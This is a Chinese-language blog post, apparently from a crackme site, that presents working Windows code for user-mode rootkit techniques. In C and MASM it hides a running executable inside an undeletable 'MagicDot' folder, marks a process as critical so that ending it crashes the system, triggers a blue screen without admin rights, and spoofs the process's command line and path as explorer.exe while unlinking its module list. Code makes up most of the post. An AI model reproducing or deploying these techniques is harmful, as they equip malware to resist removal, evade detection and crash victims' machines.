在3环实现类似0环rootkit的功能

强制删除运行中的exe文件

创建具有特殊性质的四点文件夹,类似MagicDot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
VOID ForceDeleteW(LPCWSTR file) {
//获取 %temp% 路径
TCHAR TempPath[MAX_PATH] = { 0 };
if (!GetTempPathW(MAX_PATH, TempPath)) {
return;
}

//生成随机字符串,创建临时文件夹
const char seed_str[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
srand(time(0));
int len = wcslen(TempPath);
int i = len;
for (; i < len + 10; ++i) {
TempPath[i] = seed_str[(rand() % (sizeof seed_str - 1))];
}
TempPath[i] = 0;

CreateDirectoryW(TempPath, 0);
wcscat_s(TempPath, L"\\....\\");
CreateDirectoryW(TempPath, 0);

//将运行中的exe文件移动进去,就可达到强删的效果
TCHAR TempFile[MAX_PATH] = { 0 };
wcscpy_s(TempFile, TempPath);
wcscat_s(TempFile, L"temp");

MoveFileW(file, TempFile);
MoveFileW(TempPath, TempFile);
}

删除后任务管理器无法定位源文件

启动项同样无法定位,打开所在目录会直接打开此电脑

资源管理器无法打开和删除四点文件夹,除非使用专业磁盘工具

BreakOnTermination进程保护

进程结束后蓝屏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
BOOL EnableDebugPriv() {
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
CloseHandle(hToken);
return FALSE;
}

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
CloseHandle(hToken);
}

return TRUE;
}

BOOL ProcessProtect(DWORD pid, BOOL enable) {
typedef NTSTATUS
(__stdcall* MyNtSetInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength
);

if (!EnableDebugPriv()) {
return FALSE;
}

HANDLE h = pid ? OpenProcess(PROCESS_ALL_ACCESS, 0, pid) : GetCurrentProcess();
if (h == 0) {
return FALSE;
}

HMODULE hNtdll = LoadLibraryA("ntdll.dll");
if (hNtdll <= 0) {
return FALSE;
}

MyNtSetInformationProcess ntSetProcess = (MyNtSetInformationProcess)GetProcAddress(hNtdll, "NtSetInformationProcess");
if (ntSetProcess <= 0) {
return FALSE;
}

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
return NT_SUCCESS(ntSetProcess(h, (PROCESS_INFORMATION_CLASS)29, &enable, 4));
}

一定要监听关机事件(WM_QUERYENDSESSION),在用户关机前取消保护,否则会直接蓝屏

3环触发蓝屏

3环触发蓝屏,且无需管理员权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL BSOD(DWORD code = 0xC0000005) {
typedef NTSTATUS(NTAPI* pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef NTSTATUS(NTAPI* pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);

HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
if (!ntdll) return FALSE;
pdef_RtlAdjustPrivilege RtlAdjustPrivilege = (pdef_RtlAdjustPrivilege)GetProcAddress(ntdll, "RtlAdjustPrivilege");
pdef_NtRaiseHardError NtRaiseHardError = (pdef_NtRaiseHardError)GetProcAddress(ntdll, "NtRaiseHardError");
if (!RtlAdjustPrivilege || !NtRaiseHardError) return FALSE;

BOOLEAN tmp1;
ULONG tmp2;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
return (NT_SUCCESS(RtlAdjustPrivilege(19, 1, 0, &tmp1)) && NT_SUCCESS(NtRaiseHardError(code, 0, 0, 0, 6, &tmp2)));
}

再贴个MASM实现,编译出来压缩一下就1585字节大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
;ml /c /coff BSOD.asm
;link /subsystem:windows BSOD.obj

.486
.model flat, stdcall
option casemap :none
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib

include \masm32\include\kernel32.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\macros\macros.asm

.data

NTDLLstr db "ntdll.dll",0
AdjustStr db "RtlAdjustPrivilege",0
RaiseStr db "NtRaiseHardError",0

pA dd 00000000
tmp dd 00000000

.code

start:
fn LoadLibraryA,offset NTDLLstr

fn GetModuleHandleA,offset NTDLLstr
mov ebx,eax

fn GetProcAddress,ebx,offset AdjustStr
mov pA,eax

fn GetProcAddress,ebx,offset RaiseStr
mov ebx,eax

push offset tmp
push 0
push 1
push 19
call pA

push offset tmp
push 6
push 0
push 0
push 0
push 0C0000005h
call ebx

fn ExitProcess,0

end start

进程混淆

转载自 3环进程混淆思路

混淆前

混淆后

好像就修改了命令行,用处不大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
BOOL SelfOBF() {
#define FAKE_CMDLINE L"C:\\Windows\\explorer.exe"
#define FAKE_PATH L"C:\\Windows\\explorer.exe"

typedef NTSTATUS
(__stdcall* MyNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

PPEB pebProcess = { 0 };
PROCESS_BASIC_INFORMATION pbiProcess = { 0 };
HANDLE hProcess = 0;
ULONG Infolen = 1024;
ULONG Retlen = 0;
NTSTATUS status = 0;
HMODULE hNtdll = 0;
UNICODE_STRING unCmdline;
UINT64 fakepid = 4;
ULONG fakesession = 0;
MyNtQueryInformationProcess ntQueryProcess = NULL;

hNtdll = LoadLibraryA("ntdll.dll");

if (hNtdll <= (HMODULE)0)
{
return 0;
}

ntQueryProcess = (MyNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");

if (ntQueryProcess <= (MyNtQueryInformationProcess)0)
{
return 0;
}

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

if (!hProcess)
{
return 0;
}

status = ntQueryProcess(hProcess, ProcessBasicInformation, &pbiProcess, sizeof(PROCESS_BASIC_INFORMATION), &Retlen);

if (!NT_SUCCESS(status))
{
return 0;
}

if (pbiProcess.PebBaseAddress == NULL)
{
return 0;
}

pebProcess = pbiProcess.PebBaseAddress;

//修改cmdline
RtlZeroMemory((pebProcess->ProcessParameters->CommandLine).Buffer, wcslen((pebProcess->ProcessParameters->CommandLine).Buffer) * 2);

RtlCopyMemory((pebProcess->ProcessParameters->CommandLine).Buffer, FAKE_CMDLINE, wcslen(FAKE_CMDLINE) * 2);

//修改路径
RtlZeroMemory((pebProcess->ProcessParameters->ImagePathName).Buffer, wcslen((pebProcess->ProcessParameters->ImagePathName).Buffer) * 2);

RtlCopyMemory((pebProcess->ProcessParameters->ImagePathName).Buffer, FAKE_PATH, wcslen(FAKE_PATH) * 2);

//修改进程id
RtlCopyMemory(&(pbiProcess.UniqueProcessId), &fakepid, sizeof(UINT64));

//修改会话层
RtlCopyMemory(&(pebProcess->SessionId), &fakesession, sizeof(ULONG));

//断链
(pebProcess->Ldr->InMemoryOrderModuleList.Blink)->Flink = pebProcess->Ldr->InMemoryOrderModuleList.Flink;
(pebProcess->Ldr->InMemoryOrderModuleList.Flink)->Blink = pebProcess->Ldr->InMemoryOrderModuleList.Blink;

return 1;
}

MagicDot

懒得写了,直接贴原帖吧

https://github.com/SafeBreach-Labs/MagicDot

https://i.blackhat.com/Asia-24/Presentations/Asia-24-Yair-magicdot-a-hackers-magic-show-of-disappearing-dots-and-spaces.pdf


在3环实现类似0环rootkit的功能
https://crackme.net/articles/ring3_rootkit/
作者
Brassinolide
发布于
2024年9月15日
许可协议